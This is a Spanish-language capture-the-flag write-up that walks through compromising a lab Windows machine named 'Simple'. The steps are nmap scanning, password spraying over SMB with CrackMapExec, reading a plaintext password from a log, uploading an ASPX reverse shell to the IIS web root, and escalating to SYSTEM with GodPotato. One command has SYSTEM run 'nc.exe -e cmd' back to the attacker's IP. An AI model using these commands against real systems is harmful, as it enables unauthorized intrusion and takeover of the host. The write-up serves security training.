Enumeración de servicios
Comenzamos con un barrido SYN de los 65 535 puertos TCP. -n evita la resolución DNS, -Pn trata el host como activo sin depender de ICMP y --min-rate 5000 acelera el reconocimiento dentro del laboratorio:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.16
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-22 16:37 -0400
Nmap scan report for 192.168.1.16
Host is up (0.00018s latency).
Not shown: 65523 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49675/tcp open unknown
MAC Address: 08:00:27:CA:7C:75 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 14.50 secondsLa superficie expuesta corresponde claramente a un sistema Windows: IIS en 80, SMB en 139/445, WinRM en 5985/47001 y varios puertos RPC dinámicos a partir de 49664. Como todavía no disponemos de credenciales para WinRM, los dos servicios con mayor valor inicial son HTTP, por el contenido que pueda revelar, y SMB, por sus recursos compartidos y posibles permisos incorrectos.
Realizamos un segundo escaneo únicamente sobre los puertos abiertos. -sC ejecuta los scripts predeterminados de Nmap y -sV intenta identificar productos y versiones:
❯ nmap -sCV -p 80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49675 -oN 02-targeted.txt 192.168.1.16
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-22 16:38 -0400
Nmap scan report for 192.168.1.16
Host is up (0.00098s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Simple
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49675/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: SIMPLE, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:ca:7c:75 (Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2025-07-22T20:39:49
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.58 secondsEl escaneo confirma Microsoft IIS 10.0 y SMB 3.1.1. La firma SMB está habilitada pero no es obligatoria; este dato podría ser relevante para ataques de relay, aunque no será necesario en esta máquina. El nombre NetBIOS SIMPLE nos proporciona además el nombre del host. La presencia simultánea de IIS y un recurso SMB llamado posteriormente WEB sugiere una posible relación entre el recurso compartido y el contenido servido por el puerto 80, hipótesis que comprobaremos después.
Enumeración web y acceso SMB
La portada web no presenta formularios ni parámetros evidentes, pero contiene una nota de agradecimiento con varios nombres de empleados. Estos nombres son valiosos porque suelen convertirse directamente en cuentas locales. Los normalizamos en un diccionario pequeño para probarlos de forma controlada:
❯ cat users.txt
ruy
marcos
lander
bogo
vaiperProbamos ese mismo conjunto como usuarios y contraseñas de SMB. Al pasar ambos archivos, CrackMapExec comprueba las combinaciones posibles y marca con [+] cualquier autenticación válida:
❯ crackmapexec smb 192.168.1.16 -u users.txt -p users.txt
...
SMB 192.168.1.16 445 SIMPLE [+] Simple\bogo:bogo
...El resultado confirma la cuenta SIMPLE\bogo con la contraseña bogo. No estamos ante una vulnerabilidad del protocolo SMB: el fallo corresponde a Weak Password, porque la cuenta reutiliza su propio nombre como secreto.
Con esas credenciales enumeramos los recursos compartidos. ADMIN$ y C$ son recursos administrativos habituales y no implican que bogo pueda acceder a ellos; los recursos personalizados LOGS y WEB son los que requieren análisis:
❯ smbclient -L //192.168.1.16/ -U bogo
Can\'t load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\bogo]: bogo
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Admin remota
C$ Disk Recurso predeterminado
IPC$ IPC IPC remota
LOGS Disk
WEB Disk
SMB1 disabled -- no workgroup availableEntramos primero en LOGS. La autenticación funciona y el listado revela un único registro, 20231008.log:
❯ smbclient //192.168.1.16/LOGS -U bogo
Can\'t load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\bogo]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Oct 8 18:23:36 2023
.. D 0 Sun Oct 8 18:23:36 2023
20231008.log A 2200 Sun Oct 8 18:23:36 2023
12966143 blocks of size 4096. 11126408 blocks availableLo descargamos para revisarlo localmente:
smb: \> get 20231008.logEn la línea 32 aparece un comando de PowerShell que monta el recurso WEB. El administrador escribió la contraseña en texto claro dentro del comando y el registro conservó tanto el usuario como el secreto:
❯ cat 20231008.log
...
PS C:\> net use \\127.0.0.1\WEB /user:marcos SuperPassword
...La línea equivale a marcos:SuperPassword. Antes de cambiar de cuenta comprobamos si bogo puede escribir en LOGS; el servidor responde NT_STATUS_ACCESS_DENIED, por lo que sus permisos son únicamente de lectura:
smb: \> put file.txt
NT_STATUS_ACCESS_DENIED opening remote file \file.txtEjecución remota mediante el recurso web
Nos autenticamos ahora en WEB como marcos. El listado contiene index.html, aspnet_client, imágenes, fuentes y otros recursos que coinciden con una raíz de IIS. Además, la subida de un archivo de prueba sí funciona. Juntas, ambas evidencias confirman que marcos tiene escritura sobre el contenido publicado por el servidor web:
❯ smbclient //192.168.1.16/WEB -U marcos
Password for [WORKGROUP\marcos]: SuperPassword
smb: \> ls
. D 0 Sun Oct 8 12:14:24 2023
.. D 0 Sun Oct 8 12:14:24 2023
03-comming-soon D 0 Sun Oct 8 18:22:15 2023
aspnet_client D 0 Sun Oct 8 16:46:18 2023
common-js D 0 Sun Oct 8 18:14:09 2023
fonts D 0 Sun Oct 8 18:14:09 2023
images D 0 Sun Oct 8 18:14:09 2023
index.html A 1481 Sun Oct 8 18:26:47 2023
12966143 blocks of size 4096. 11126326 blocks available
smb: \> put file.txt
putting file file.txt as \file.txt (0,0 kb/s) (average 0,0 kb/s)
smb: \>IIS ejecuta páginas ASP.NET con extensión .aspx, de modo que escribir en su DocumentRoot no sólo permite modificar contenido estático: también permite publicar código del lado del servidor. Preparamos una reverse shell ASPX configurada con la IP y el puerto de nuestra máquina y la subimos como pwned.aspx:
smb: \> put pwned.aspx
putting file pwned.aspx as \pwned.aspx (5057,1 kb/s) (average 2167,4 kb/s)Dejamos ncat a la escucha antes de solicitar el archivo. Al visitar http://192.168.1.16/pwned.aspx, IIS interpreta la página y abre la conexión de retorno:
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.16:49672.
Spawn Shell...
Microsoft Windows [Versi�n 10.0.17763.107]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.
c:\windows\system32\inetsrv> whoami
iis apppool\defaultapppoolLa identidad IIS APPPOOL\DefaultAppPool es la cuenta virtual del application pool, no el usuario SMB marcos. Esto confirma que el código se está ejecutando dentro del proceso de IIS con una cuenta de servicio de bajos privilegios. Desde esta sesión podemos recuperar la flag de usuario más adelante, pero aún no podemos leer el escritorio del administrador.
Escalada de privilegios
Las cuentas de servicio de IIS suelen disponer de privilegios de suplantación para atender solicitudes en nombre de otros usuarios. La técnica Windows Token Impersonation puede convertirse en una escalada cuando el servicio expone el privilegio adecuado. La salida original no conserva un whoami /priv, pero GodPotato confirma durante la explotación que el token actual admite nivel Impersonation y que puede localizar un token de SYSTEM.
GodPotato fuerza una autenticación privilegiada a través de RPC/DCOM, captura el token resultante mediante una tubería con nombre y lo usa para crear un nuevo proceso. Transferimos al mismo recurso WEB tanto nc.exe como las variantes de GodPotato; después de probar las compilaciones disponibles, la construida para .NET 4 es compatible con el objetivo:
smb: \> put nc.exe
putting file nc.exe as \nc.exe (6285,1 kb/s) (average 4067,9 kb/s)
smb: \> put GodPotato-NET4.exe
putting file GodPotato-NET4.exe as \GodPotato-NET4.exe (11199,8 kb/s) (average 6049,0 kb/s)Primero ejecutamos una orden inocua para verificar la escalada sin abrir todavía otra conexión. Las líneas Find System Token : True, CurrentUser: NT AUTHORITY\SYSTEM y la salida final de whoami demuestran que el nuevo proceso posee el nivel más alto de privilegios locales en Windows:
c:\inetpub\wwwroot>GodPotato-NET4.exe -cmd "cmd /c whoami"
GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140723670614016
[*] DispatchTable: 0x140723672931568
[*] UseProtseqFunction: 0x140723672306848
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\882f77e7-9c29-42b3-ab96-5253d02f311b\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00006002-0364-ffff-225a-d6a670dd9421
[*] DCOM obj OXID: 0xbcb5dc919c9df913
[*] DCOM obj OID: 0xc3c177bbf2d03735
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\Servicio de red
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 748 Token:0x840 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2032
nt authority\systemUna ejecución puntual confirma la vulnerabilidad, pero necesitamos una shell interactiva que herede ese token. Abrimos un segundo listener en el puerto 4321:
❯ ncat -nlvp 4321
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321Desde la sesión de IIS ordenamos a GodPotato que inicie nc.exe -e cmd como SYSTEM. -e cmd conecta la entrada y salida del intérprete de comandos al socket remoto:
c:\inetpub\wwwroot>GodPotato-NET4.exe -cmd "./nc.exe -e cmd 192.168.1.5 4321"
GodPotato-NET4.exe -cmd "./nc.exe -e cmd 192.168.1.5 4321"
[*] CombaseModule: 0x140723670614016
[*] DispatchTable: 0x140723672931568
[*] UseProtseqFunction: 0x140723672306848
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\88914ed0-135c-4832-a14e-be62e5fa9b14\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000bc02-071c-ffff-e187-00f8b2a6e60c
[*] DCOM obj OXID: 0xfbd59a5fb3605e07
[*] DCOM obj OID: 0x34c9449c7010798f
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\Servicio de red
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 748 Token:0x840 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 520❯ rlwrap ncat -nlvp 4321
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.16:49684.
Microsoft Windows [Versi�n 10.0.17763.107]
(c) 2018 Microsoft Corporation. Todos los derechos reservados.
c:\inetpub\wwwroot>whoami
nt authority\systemLa nueva conexión confirma nuevamente nt authority\system; ya no dependemos de los permisos limitados del application pool.
Obtención de las flags
Con la shell privilegiada navegamos a los escritorios de los usuarios. En Windows usamos type, equivalente a cat, para mostrar el contenido de los archivos:
cd C:\Users\marcos\Desktop
dir
type user.txtLa flag final se encuentra en el escritorio del administrador:
cd C:\Users\Administrador\Desktop
dir
type root.txt